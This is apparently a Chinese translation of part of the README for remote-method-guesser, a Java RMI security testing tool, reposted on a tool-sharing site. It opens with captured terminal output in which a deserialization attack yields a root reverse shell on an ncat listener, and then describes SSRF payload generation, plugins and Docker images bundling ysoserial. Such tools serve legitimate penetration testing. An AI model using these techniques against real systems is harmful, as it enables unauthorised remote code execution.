c0ba245a659945bb93a49a3ab4b1e430. [+] Deserialization attack probably worked :)

[qtc@devbox ~]$ nc -vlp 4444 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 172.17.0.2. Ncat: Connection from 172.17.0.2:35377. id uid=0(root) gid=0(root) groups=0(root)

root@kitploit:~
### More Features

*remote-method-guesser* 包含了许多未在本文 *README.md* 文件中解释的功能。以下是其中一部分:

* 几乎所有操作都可以使用 ``--ssrf`` 选项来创建对应操作的 *SSRF* 载荷。
* 如果您获取到了 *RMI 服务器* 的二进制输出(例如在 *SSRF* 攻击后),您可以通过 ``--ssrf-response`` 选项将其输入到 *remote-method-guesser* 中。该选项会将服务器输出解析为指定操作获得的结果。
* *remote-method-guesser* 可以通过其*插件系统*进行扩展。四个接口(``IPayloadProvider``, ``IResponseHandler``, ``IArgumentProvider`` 和 ``ISocketFactoryProvider``)可用于将 *remote-method-guesser* 适配到更复杂的使用场景。
* 在 ``guess`` 操作期间,您可以使用 ``--create-samples`` 选项生成 *Java* 代码,用于调用成功猜测到的方法。

有关这些功能的更多信息,请参阅[文档文件夹](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/docs)。


### Docker Image

----

自版本 `v4.4.0` 起,*remote-method-guesser* 也提供了 Docker 镜像,可以从 [GitHub Container Registry](https://github.com/qtc-de/remote-method-guesser/pkgs/container/remote-method-guesser%2Frmg) 拉取。每个版本都提供 *normal* 和 *slim* 两种版本。两者都包含完整可用的 *remote-method-guesser*,但只有 *normal* 版本包含 [ysoserial](https://github.com/frohoff/ysoserial) 在内,因此镜像体积更大:

* `docker pull ghcr.io/qtc-de/remote-method-guesser/rmg:4.4.0` - `121MB`
* `docker pull ghcr.io/qtc-de/remote-method-guesser/rmg:4.4.0-slim` - `61.9MB`

您也可以通过运行以下命令自行构建容器:```console
[user@host ~]$ git clone https://github.com/qtc-de/remote-method-guesser
[user@host ~]$ cd remote-method-guesser && docker build -t rmg .

致谢


remote-method-guesser 深受 Hans-Martin Münch 和 Jake Miller 博客文章的影响。此外,rmiscout 单词列表 明显是从 rmiscout 项目复制而来(正如你通过不同的许可协议所看出的那样)。感谢 Jake 提供了这份从不同 GitHub 仓库收集的 远程方法 精彩单词列表。

Copyright 2023, Tobias Neitzel and the remote-method-guesser contributors.

下载工具